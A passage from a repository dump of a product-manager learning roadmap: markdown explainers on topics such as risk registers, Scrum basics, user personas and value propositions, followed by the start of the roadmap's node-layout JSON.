    "content": "# Retrospectives in Product Management\n\nRetrospectives, also known as \"retros\", play an essential role in the life of a Product Manager. These are regular meetings where the team reflects on the past cycle of work, discussing what went well and where improvements should be made. For Product Managers, retrospectives provide an opportunity to assess the effectiveness of product strategies, to understand challenges faced during implementation, and to glean insights for future planning. These sessions are critical for continuous improvement, fostering a culture of transparency, and ensuring alignment across the team."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/risk-assessment@0uRTNYMwTU9JzvIWSvDSm.md",
    "content": "# Risk Assessment in Product Management\n\nRisk Assessment is an essential tool in the lifecycle of product management. It involves the identification and analysis of potential risks that could negatively impact key business initiatives or critical projects. As a Product Manager, understanding and managing these risks can not only prevent potential issues but also prepare the team with strategic solutions to counteract them. Implementing effective risk assessment can result in improved product quality, reduced costs, and increased stakeholder satisfaction. It is a dynamic process that should be revisited throughout the product development process to minimize threats and maximize opportunities."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/risk-audits@ao2uUq_UZWtB-LRKH1x40.md",
    "content": "# Risk Audits in Product Management\n\nRisk audits form an integral part of the product management process. As a Product Manager, conducting risk audits involves comprehensive assessment of the various potential risks associated with the development and launch of a product. These risks could range from functional issues, design flaws, marketing challenges, to various other uncertainties that may potentially impact the success of a product. Risk audits aim to identify these threats ahead of time, mitigate them effectively, and devise strategies to turn these risks into opportunities. This rigorous process helps a Product Manager to ensure the smooth continuity of production, enabling robust, timely, and financial-efficient deployments of products."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/risk-identification-techniques@0zRGIArMUe9xVDSKfnoHZ.md",
    "content": "# Risk Identification Techniques\n\nRisk identification techniques are critical tools used by Product Managers to anticipate potential obstacles and take preventative measures in product development lifecycle. They involve various methods to identify possible risks that could negatively impact the realization of the product’s goals. Early detection of risks allows for proper risk management and mitigation, thus ensuring a smooth and successful product launch. These techniques can range from brainstorming sessions and scenario analysis to risk checklists and assessment workshops. Understanding these methodologies is vital for any Product Manager aiming for effective product management and successful project outcomes."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/risk-mitigation@A-srndVB0olGq0qkApnwi.md",
    "content": "# Risk Mitigation in Product Management\n\nRisk Mitigation plays an essential role in the realm of Product Management. It's the responsibility of a Product Manager to anticipate potential pitfalls and create strategies to minimize their impact on the product's development and lifecycle. It requires a deep understanding of the project's scope, stakeholders' expectations, market trends and potential technical constraints. By intimately knowing the product and the environment in which it operates, a product manager can effectively strategize against any risk and ensure that the product stays on its intended course towards success."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/risk-monitoring-tools@S2w72SRx-9QvRO7RNBlKZ.md",
    "content": "# Risk Monitoring Tools \n\nAs a Product Manager, one of the key responsibilities is understanding and managing risks associated with the product. Risk Monitoring Tools play an integral role in this process. These tools are specialized software designed to identify, assess, track, and mitigate risks in product development and releases. They provide data-driven insights on potential hazards, allowing product managers to make informed decisions and implement strategies to prevent or minimize risk impacts. These tools can help in tracking the progress of risk resolution, visualize risk prioritization, and alert the product managers about the upcoming risks in time."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/risk-register@WBnLicFo9p2zm57pyXciI.md",
    "content": "# Risk Register\n\nThe Risk Register is an important tool for Product Managers as it systematically identifies and manages potential issues that could negatively impact the outcome of a product's development. It consists of a log of potential risks, quantifying their impact, likelihood, and mitigation strategies. This essential document allows Product Managers to prioritize strategies, allocate resources more efficiently, and develop contingency plans. In essence, a Risk Register helps Product Managers to better anticipate, assess, and prepare for the potential bumps on the road to successful product delivery. It encourages a proactive rather than reactive approach to managing risk, contributing to overall product success."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/roadmapping-tools@XG-QBb--HXL-1r-jInYDN.md",
    "content": "# Roadmapping Tools\n\nEvery exceptional product manager understands the crucial role that product roadmaps play in the successful coordination and execution of product strategy. Roadmapping tools often come into play here, as they help simplify complex processes, while enhancing communication and transparency among teams. These tools deliver visually compelling, data-supported product maps, offering an easy-to-understand view of the prioritized features, projected timelines, strategic alignment, and progress tracking. By utilizing such applications, product managers are not only able to manage and communicate their strategy effectively, but also prioritize requests, track progress, and adjust plans based on insights."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/roles-and-responsibilities@Dx6ee8P_Agpw1MLKlAPGI.md",
    "content": "# Roles and Responsibilities of a Product Manager\n\nA product manager is a pivotal role that stands at the crossroads of business, technology, and user experience aspects. Their roles and responsibilities include understanding customer needs, defining and communicating product strategy, prioritizing product features, liaising with different teams such as engineering, sales and marketing to ensure seamless product development and launch, monitoring and analyzing market trends, and ultimately driving the success of the product in the market. A prodigious product manager, with a unique blend of business acuity and technical knack, can significantly impact the product's acceptance in the market and the company's bottom line.\n\nLearn more from the following resources:\n\n- [@article@Product Manager Roles & Responsibilities](https://www.productside.com/product-manager-roles-and-responsibilities-keytask/)"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/scaling-products@4i_kX9oZunMBFYevu7lyi.md",
    "content": "# Scaling Products \n\nScaling products is a crucial responsibility of a Product Manager. It involves optimizing a product's infrastructure and processes to cater to an increasing number of users or requests, without compromising on its efficiency or functionality. This process not only involves improving actual product features but also business strategies such as go-to-market plans, revenue models, and customer relations. A successful Product Manager has a specific scale-up strategy in place, effectively enabling product growth while managing potential risks. Being able to scale products successfully is a hallmark of a successful product, crucial to the company's long-term sustainability and profitability."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/scamper@uLSPKcypF06AhzoeNVtDk.md",
    "content": "# SCAMPER\n\nSCAMPER is a powerful and dynamic brainstorming tool widely recognized in the area of Product Management. As a mnemonic acronym, it represents seven techniques to assist Product Managers: Substitute, Combine, Adapt, Modify/Magnify, Put to other uses, Eliminate and Reverse. It provides a structured method to challenge the status quo, encourage divergent thinking, and generate innovative product ideas. SCAMPER serves as a strategic tool, enabling Product Managers to analyze their current product portfolio, identify improvement areas, conceive new product features or entirely new products, ensuring competitive advantage and long-term business success."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/scrum-basics@WNCVmFrpHW7rMaIzlLaXl.md",
    "content": "# Scrum Basics\n\nThe role of a Product Manager greatly correlates to the understanding and implementation of Scrum basics. Scrum is an agile framework that works towards delivering valuable products iteratively and incrementally. Scrum Basics cover a myriad range of concepts including, but not limited to, Scrum roles (Product Owner, Scrum Master, and the Development Team), Scrum artifacts (Product Backlog, Sprint Backlog, and Product Increment) and Scrum ceremonies (Sprint Planning, Daily Standup, Retrospective, etc.). An effective Product Manager is expected to thoroughly comprehend these components to smoothly manage projects, optimize product value and efficiently deal with complex situations, ensuring product success.\n\nVisit the following resources to learn more:\n\n- [@article@The Official Scrum Guide](https://scrumguides.org/scrum-guide.html)\n"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/selection@toc34xxsB_tnHtekk1UmN.md",
    "content": "# Selection in Product Management\n\nThe Selection process in Product Management involves identifying which features and projects to prioritize, based on the product's strategic direction, business objectives, customer needs, and market trends. As a Product Manager, understanding how to effectively carry out this selection process is critical in managing resources efficiently, aligning team efforts towards high-impact tasks, and driving product success in the market. This process usually involves tools and frameworks, such as product roadmaps, prioritization matrices, user feedback, and data analysis."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/service-design@lxU25qxxgxnNF3c3kdZxz.md",
    "content": "# Service Design \n\nService Design refers to the process of planning and organizing a business's resources (people, infrastructure, materials, etc.) to directly improve the service's quality, interactions between service provider and clients, and the customer's experience. For a Product Manager, it's a crucial practice as it gives them a broader understanding of their product's lifecycle and interactions with the end users. This process aids in crafting or refining products to ensure alignment with customer needs and provide superior user experience."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/showing-impact@XxeB3t8MjTbUzZj2hdKF3.md",
    "content": "# Showing Impact\n\nAs a Product Manager, one of the essential skills to possess is the ability to demonstrate the impact of the product in the market or to the organization. It involves quantifying and presenting the value and success created by the product through metrics such as sales, customer adoption, or even impact on brand, customer satisfaction, or social responsibility. Showing impact is not just about reporting success, it's also a valuable tool for securing resources, influencing stakeholders, shaping strategy, and fostering a performance-driven culture within the team and company. To effectively show impact, a Product Manager needs a deep understanding of the business model, the market, and the key performance indicators that actually matter to the organization and stakeholders."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/slack@UdOJDzkDP_R3E5f_IltYh.md",
    "content": "# Slack\n\nAs a product manager, effective communication with different stakeholders is a crucial task. Slack emerges as an essential platform for this role. It is a cloud-based team collaboration tool that facilitates quick and efficient communication among team members, from developers and marketing professionals to various stakeholders. This platform also integrates with a variety of other tools that product managers use regularly, thereby acting as an operational hub for project management. Product managers can create channels on Slack for different projects or topics to ensure organized and focused conversations. It also supports direct messaging and file sharing which enhances day-to-day communication and coordination."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/solved-constraints@eKJ2XfDxu0NAKA932tbzy.md",
    "content": "# Solved Constraints under Vision & Mission\n\nThe role of a Product Manager extends to managing and solving constraints regarding a product's vision & mission. The mission is the purpose that propels the product towards its ultimate goal, while the vision outlines where the organization or product aims to be in the future. The complexities lie in the constraints that might hinder the product's way to achieve its vision and mission. These constraints could be technical, financial, time-bound, resource-based, and more. The Product Manager's responsibility is to identify these constraints, design strategies to overcome them, and effectively implement those strategies, thereby channeling energy in alignment with the product's mission and vision."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/sprint-planning@bu-xm-L1XJgIPAFs2PieE.md",
    "content": "# Sprint Planning\n\nIn the role of a Product Manager, sprint planning is a fundamentally important aspect that dives into the management of product development in short 'sprints', or phases. It's a collaborative event in agile development where the team determines the product work that can be completed in the upcoming sprint. This essentially involves having the team understand the project's goals and scope from the Product Manager's perspective, direct stakeholders' input, and then translating these into concrete tasks for developers. Sprint Planning thus helps to ensure that everyone is on the same page and that development is effectively prioritized and focused."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/stakeholder-engagement@rvqZRvbt73BY5X98dA3Sq.md",
    "content": "# Stakeholder Engagement\n\nStakeholder engagement is an essential function for a product manager. It involves the identification, communication with, and management of individuals or groups who have an interest or are affected by the products being developed or managed. This could range from internal teams like design, development, and marketing to external entities like customers, partners, and regulators. A product manager must effectively engage stakeholders to understand their needs and concerns, gather valuable inputs, align the product vision, and eventually drive product success."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/stakeholder-mapping@bHA-9gQhvjh40Cy8jbI9u.md",
    "content": "# Stakeholder Mapping in Product Management\n\nStakeholder mapping is a crucial aspect of product management. It is the process by which a product manager identifies and categorizes the individuals or groups that have a vested interest in the product's development and its overall success. These stakeholders could be internal, such as team members, or external like clients, end-users or strategic partners, each bringing in their unique perspectives, expectations, and requirements. A well-conducted stakeholder mapping helps product managers better understand the influence and impact of each stakeholder, manage their expectations, and effectively communicate throughout the product life cycle.\n"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/statement@DnKHDm0TZ7QQUyrhPdqkV.md",
    "content": "# Statement under Vision & Mission\n\nAs a Product Manager, an integral part of your responsibility revolves around defining and understanding the Vision and Mission statement of the product you are managing. These statements not only align the team and the organization with a specific goal, but they also provide a roadmap of the larger purpose that the product aims to serve in the most succinct way possible. A clear and motivating Vision and Mission statement can lead to empowered teams and efficient decision-making processes. The Vision depicts the ultimate goal of the product, where it aspires to be. The Mission, on the other hand, focuses on the present, defining the purpose of the product, the why and the how behind its existence. Gaining a deep understanding of these statements becomes an essential aspect of successful product management."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/strategic-partners@jWU_odHoQYk3GKCPoRV2n.md",
    "content": "# Strategic Partners\n\nIn the role of a Product Manager, a crucial aspect is managing and guiding strategic partners. Strategic partners are organizations or individuals that a company forms alliance with to mutually develop, promote, and distribute products or services. For a product manager, this involves understanding the capabilities of potential partners, determining how to leverage their strengths for the product's growth, as well as maintaining a positive and productive relationship with them throughout the product lifecycle. This could range from sourcing raw materials to providing distribution network or even technological support, depending on the nature of the product. In brief, strategic partners significantly contribute in shaping the product's roadmap, influencing its performance in the market, and advancing overall business objectives."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/strategic-thinking@m46lX4dUHik_BSHQwaU2l.md",
    "content": "# Strategic Thinking\n\nStrategic thinking is a critical competence for Product Managers. This involves the ability to think long-term, beyond immediate actions, to comprehend how various components influence each other within the big picture, as well as predicting potential outcomes. It's about identifying strengths and weaknesses, understanding opportunities and threats, planning for diverse scenarios, and making sound decisions. A Product Manager with strategic thinking skills effectively aligns product decisions with the broader organizational strategy, anticipates upcoming market trends, and maintains a competitive edge."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/surveys-and-questionnaires@a_5AyOKAgcg0rArZfapA_.md",
    "content": "# Surveys and Questionnaires in User Research\n\nFor a product manager, understanding the needs, wants, and experiences of users is a critical task. This comprehension is often facilitated through user research, where tools like surveys and questionnaires come into the picture. These tools enable product managers to garner valuable insights about user behavior, preferences, and pain points. With well-crafted surveys and questionnaires, product managers can proactively address user needs, refine product strategy, and ultimately create products that provide high value and usability."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/target@tmlFCmEuYpcUnt8VvVP9R.md",
    "content": "# Target-based Goals\n\nThese goals specify a clear and quantifiable objective that the product aims to achieve, such as increasing user engagement by 20% within six months."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/teams@z72akk5E5XjEuLraS9Gug.md",
    "content": "# Teams under Communication Tools\n\nIn the landscape of product management, communication plays an extraordinary role and Microsoft Teams is one of the most pivotal communication tools in this aspect. A product manager often engages with diverse teams - engineering, design, marketing, sales, and more, ensuring coherence and alignment towards the product vision. The Microsoft Teams platform boosts this communication process, providing a centralized space for conversations, content, meetings, and tasks. Its features like chat, video meetings, file sharing, and integration with other tools significantly streamline collaboration and decision-making, which are integral to a product manager's role."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/timeframe@E1yPzEhssJWMDLeSiL4cj.md",
    "content": "# Timeframe-based Goals\n\nThese goals set a deadline for achieving specific outcomes, such as launching a new feature by the end of Q3 or completing a market analysis within two weeks."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/trello@SD98_s1ET_j2eIIKmcKRc.md",
    "content": "# Trello\n\nProduct management entails numerous responsibilities, among which is managing several tasks, teams and deadlines to make sure that products are developed and launched on time. To effectively manage these responsibilities, Product Managers often require robust Project Management Tools. One such tool is \"Trello\".\n\nTrello is an easy-to-use, highly visual tool that aids in organizing projects into boards. It provides an overview of what's being worked on, who is working on what, and how far they've proceeded with their tasks. For Product Managers, Trello can be a substantial asset in managing tasks, collaborating effectively with team members, and ensuring transparency in progress tracking. Overall, Trello can increase productivity and simplify the intricate nature of product management."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/trend@s8mK1llA32B69_rzOwcwN.md",
    "content": "# Trend-based Goals\n\nThese goals focus on leveraging or reversing observed trends, such as accelerating a growing user adoption rate or halting a declining market share."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/triz-theory-of-inventive-problem-solving@DEwte-c-jxAFpiaBXAPSO.md",
    "content": "# TRIZ (Theory of Inventive Problem Solving) in Product Management\n\nTRIZ is a problem-solving, analysis and forecasting tool derived from the study of patterns of invention in the global patent literature. In the realm of product management, TRIZ aids Product Managers to ideate innovative solutions, accelerate product development, solve complex problems and predict future technology trends. Understanding and applying TRIZ principles can empower Product Managers to overcome cognitive biases, break away from traditional patterns of thinking, and improve ideation and product innovation by providing systematic approaches and methodologies."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/usability-testing@1uXjKKvOKqpO50m1pM627.md",
    "content": "# Usability Testing\n\nUsability testing is a crucial aspect in a Product Manager's role. It essentially involves evaluating a product or feature by testing it with representative users. As a Product Manager, they must ensure that usability testing is performed at various stages of product development to understand and improve user satisfaction and experience. It provides direct input on how users use and perceive a product. Often, it is the Product Manager's responsibility to facilitate this process, from selecting suitable user groups to facilitating the sessions and analysing the results for future product iteration and improvement. Understanding usability testing allows Product Managers to identify any design problems and necessary improvements before full-scale product launch."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/user-interviews@5kt8AkCsdAdlBmsKOkKFH.md",
    "content": "# User Interviews in User Research\n\nFor a Product Manager, User Interviews are a key instrument in User Research. They provide a pristine opportunity to understand the user's needs, problems, motivations, and behaviors. This process involves having a one-on-one conversation with current or potential users of a product to understand their experiences with the product, to gain insights about their needs and wants, and to determine how a product can be improved to meet the user's expectations. If conducted effectively, user interviews can help a Product Manager to make informed product development decisions thereby increasing user satisfaction and product success."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/user-personas@0y8F9x6MhApQkS1VhS8Dx.md",
    "content": "# User Personas in User Research\n\nUser Personas are considered foundational in user research in product management. These are fictional characters or profiles representing a certain user segment for a product or service. For a Product Manager, understanding user personas is crucial as it allows them to better identify with the user's needs, behavior patterns, and goals. It serves as a tool that humanizes these users and allows for a more personalized approach when designing a product or service. They contribute towards making informed decisions about product features, user interface, and overall user experience. Thus, user personas play a significant role in aligning all stakeholders in a product lifecycle on who the target users are."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/user-research@8LAy6uBfrdtrjF8ygAGoo.md",
    "content": "# User Research\n\nUser research is a critical aspect of a Product Manager's role. It is through understanding the needs, behaviors, and pain points of a user that a Product Manager can create, refine, and market products successfully. User research is not a one-time event but a continuous process that helps Product Managers stay abreast of their target market's evolving demands and expectations. Methods used include interviews, surveys, usability testing, and observation, among others. By staying connected to the users' perspectives, a Product Manager can ensure a more user-centric product development process resulting in a product that genuinely meets and exceed user expectations."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/user-stories@kN-UfAbQ8j7g0jDdqWK55.md",
    "content": "# User Stories in Product Requirements\n\nFor a product manager, understanding user stories is an essential part of defining product requirements. A user story is a tool used in Agile development that captures a description of a product feature from an end-user perspective. User Stories helps the product manager not only in understanding and noting down the user's perspective but also in communicating this perspective to the design and development teams efficiently. User stories depict the type of user, what they want, and why, giving the team a clear focus of what needs to be accomplished. Therefore, as a product manager, utilizing user stories can lead to products that meet user expectations and demands effectively."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/user-story-mapping@3JY85Tu40ABy9XfoliaqE.md",
    "content": "# User Story Mapping in Backlog Management\n\nUser Story Mapping is a crucial practice product managers adopt under the broad area of backlog management. This strategic process encourages the development team and stakeholders to have a collaborated understanding of the product or application, as it aligns them into visualization and diagraming of user activities. User Story Mapping provides a structured approach to defining user interactions with the product, assisting Product Managers to prioritize requirements, and ultimately leading to a product that meets the needs of the users effectively. This approach allows the product manager to set realistic goals, enable seamless team collaboration, and ensure an efficient project schedule that captures the product's functionality from the user's perspective."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/user-testing@v3hKowLMBVq9eCXkUhrDZ.md",
    "content": "# User Testing \n\nUser Testing is an essential responsibility for a product manager. In this process, the product manager ensures that the product developed by the team meets the users' needs and provides a good user experience. This is done by selecting representative users or personas, understanding the user's goals, implementing and planning test scenarios, facilitating the test and analysing the observed user behaviour. The feedback collected is then used to refine the product design, thus playing a significant part in shaping the product's road map and release cycle. Overall, User Testing provides invaluable insights that can often lead to significant improvements in the product."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/usp-unique-selling-point@tKDlfVvNym_OIqkommiJ8.md",
    "content": "# Understanding USP (Unique Selling Point) in Product Management\n\nIn the competitive realm of product management, a Unique Selling Point (USP) can be considered as the DNA of your product. It is that distinctive edge or feature that positions your product uniquely in the market and makes it stand out from the crowd. For a Product Manager, comprehending the USP of their product is vital, as it not only aids in driving the product strategy and development but also impacts the marketing campaigns and sales propositions. It gives direction to both the inward and outward-facing decisions and actions pertaining to the product. This nucleus feature, in essence, becomes a crucial factor in setting up the product's market positioning. Hence, a sound grasp of the USP can act as a guiding compass in the successful management and evolution of a product."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/ux--ui-design@-lFYy5W1YqWuTiM3QRF4k.md",
    "content": "# UX / UI Design \n\nUX (User Experience) and UI (User Interface) design are integral parts of product management. A product manager often works closely with UX/UI designers to ensure that the product not only meets the functional requirements but also provides a seamless and engaging user experience. UX design focuses on the overall feel of the product, ensuring it solves problems for users effectively and provides a positive experience. On the other hand, UI design concentrates on the aesthetics of the product – its look and feel, responsiveness, and interactivity. Understanding UX/UI design is vital for a product manager as it heavily influences user satisfaction and product success."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/validation@fK3ZaX7Amna1oa_T5axVk.md",
    "content": "# Validation\n\nValidation in the context of Product Management, refers to the process of ensuring that a product, feature, or concept meets the needs and expectations of the targeted end-user population. Product Managers carry out this process before the development phase to mitigate risks and avoid potentially costly mistakes. Validation helps in identifying if the problem is worth solving, gauges market demand, and validates the proposed solution. Typically, this might involve user interviews, surveys, prototypes, and market research. It plays a crucial role in decreasing uncertainties and refining the product roadmap. Its objective is to build a product that provides sufficient value to customers and meets business goals."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/value-proposition-canvas@kjKUrKdtCM95VinlluKDS.md",
    "content": "# Value Proposition Canvas\n\nThe Value Proposition Canvas is an essential tool for Product Managers. It aids in understanding deeply about customer needs and ensuring that the product delivers on those. Essentially, it helps in aligning the product’s features with the customer's requirements and expectations. This powerful strategic management tool is used to comprehend customer segments, their challenges, and how the product can solve those. With its ability to identify the product-customer fit, it significantly reduces the risk associated with product failure and aids in the successful rollout of products."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/value-proposition@6OjKcLbUZVJdUDC7if0Uy.md",
    "content": "# Value Proposition\n\nAs a product manager, understanding, defining, and communicating your product's value proposition is vital. It refers to the unique value that a product or service provides to a customer, highlighting the reasons why they should choose your product over competitors. It's a differentiator that sets your product apart and communicates the additional benefits that customers would receive. A compelling value proposition aligns with customer needs and demands, positions your product fittingly in the market, and serves as a foundation for the product strategy and roadmap."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/value-vs-features@0AQj2F1n8VKHBwuF4ywrp.md",
    "content": "# Value vs Features in Product Management\n\nIn the realm of product management, a key decision-making factor is striking a balance between value and features. Product managers are often caught in the dilemma of whether to focus more on increasing the number of features, making the product functionally rich, or to focus on the core value that a product would deliver to the user. While features may seem appealing and can act as selling points, it's the genuine value or solution to the customer's problem that tends to encourage satisfaction and loyalty. To make this complex decision, Product Managers often use strategies such as customer feedback, market research, competitor analysis, and various prioritization frameworks."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/vision--mission@l-KrmCOKEfpLHq4j-9SoY.md",
    "content": "# Vision & Mission \n\nA critical aspect of a Product Manager's role is to understand, define and communicate the Vision and Mission of their product. The Vision is the long-term goal, reflecting what the product aims to achieve or become in the future. This provides a strategic direction that aligns all stakeholders. The Mission, on the other hand, is a tactical plan detailing how the product will achieve this Vision. It involves specific, actionable objectives that can be assessed and adjusted periodically. Together, the Vision and Mission guide the Product Manager in making decisions, prioritizing actions and inspiring the team."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/what-is-product-management@luk1vnpy0duneVjen8WzO.md",
    "content": "# What is Product Management?\n\nProduct management is a multifaceted discipline that forms the backbone of any technology organization. As a product manager, individuals are responsible for guiding the success of a product and leading the cross-functional team that is responsible for improving it. This entails an understanding of the market, the competitive landscape, customer demand and preferences, as well as business strategy. The decisions made by the product manager directly influence the strategic direction, design, functionality, and commercial success of the product. They essentially form a bridge between different teams, such as engineering, design, marketing, sales, and customer support, ensuring a seamless transition from product development to product release.\n\nLearn more from the following resources:\n\n- [@article@What is Product Management? - Product Plan](https://www.productplan.com/learn/what-is-product-management/#what-is-product-management)\n- [@video@What is Product Management? - Atlassian](https://www.youtube.com/watch?v=kzMBIyzq9Ag)"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/wireframing-and-prototyping@zwrmh-djneZ8HIqbaBOkN.md",
    "content": "# Wireframing and Prototyping – UX / UI Design\n\nWireframing and prototyping form an essential part of product development, especially in the domain of UX / UI Design. For a Product Manager, understanding these processes serves as a crucial tool in enabling them to visualize the path of the user interface before it is fully developed. \n\nA wireframe is a basic, visual guide used to suggest the layout of fundamental elements in a web or mobile application. This serves as a skeleton for the structure of the app. The prototype, however, is a more comprehensive and interactive model of the product. \n\nBy integrating wireframing and prototyping within the design process, a Product Manager can test the product before the development phase, reduce unforeseen costs and changes, improve collaboration with stakeholders, and ultimately, ensure customer satisfaction."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/working-with-engineering-teams@2r-NPGcROFmw-pd4rvsAJ.md",
    "content": "# Working with Engineering Teams\n\nWhen it comes to the role of a Product Manager, effective collaboration with the engineering team is paramount. This involves fostering a strong communication culture, understanding technical constraints, and efficiently managing the product backlog. The relationship between a Product Manager and the engineering team can significantly influence the success of a product. Mutual respect, transparency and a clear understanding of roles and responsibilities help pave the way for a fruitful partnership."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/writing-prds@0FqpBfvnkGN_oE2KSC-_8.md",
    "content": "# Writing PRDs under Product Requirements\n\nIn the realm of product management, writing Product Requirement Documents (PRDs) serves as a crucial part of the job. This activity involves detailing and articulating the product’s purposes, features, and functionalities. PRDs become a roadmap that guides the design and development team. As a Product Manager, you play a pivotal role in crafting a well-structured PRD, ensuring it clearly communicates the product's vision to stakeholders and enables seamless product development."
  },
  {
    "path": "src/data/roadmaps/product-manager/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/product-manager/product-manager.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"dHtY_ibI0uJBL2Jknbczr\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 961.518950580724,\n        \"y\": 3842.5172575257884\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 238,\n      \"height\": 149,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 149\n      },\n      \"positionAbsolute\": {\n        \"x\": 961.518950580724,\n        \"y\": 3842.5172575257884\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 149\n      }\n    },\n    {\n      \"id\": \"a9Q5Dbr58rhyVublQ1a58\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 147.182471482702,\n        \"y\": 3792.5172575257884\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 303,\n      \"height\": 248,\n      \"style\": {\n        \"width\": 303,\n        \"height\": 248\n      },\n      \"positionAbsolute\": {\n        \"x\": 147.182471482702,\n        \"y\": 3792.5172575257884\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 248\n      }\n    },\n    {\n      \"id\": \"i288W9vF02QOKgPxjDqQh\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 900.1156736983723,\n        \"y\": 3193.340301108624\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 313,\n      \"height\": 249,\n      \"style\": {\n        \"width\": 313,\n        \"height\": 249\n      },\n      \"positionAbsolute\": {\n        \"x\": 900.1156736983723,\n        \"y\": 3193.340301108624\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 313,\n        \"height\": 249\n      }\n    },\n    {\n      \"id\": \"X-Done4_JD3ZuwWr6nCVY\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1805.4929335835232\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 263,\n      \"height\": 158,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 158\n      },\n      \"positionAbsolute\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1805.4929335835232\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 158\n      }\n    },\n    {\n      \"id\": \"NG6ks4yOlokMVJ38DyaUP\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 994.6413211402974,\n        \"y\": 1804.2988636529176\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 225,\n      \"height\": 280,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 280\n      },\n      \"positionAbsolute\": {\n        \"x\": 994.6413211402974,\n        \"y\": 1804.2988636529176\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 280\n      }\n    },\n    {\n      \"id\": \"MeiyH5JgagSgP24QNKmbK\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 126.58858034166008,\n        \"y\": 338.9173334255838\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 247,\n      \"height\": 232,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 232\n      },\n      \"positionAbsolute\": {\n        \"x\": 126.58858034166008,\n        \"y\": 338.9173334255838\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      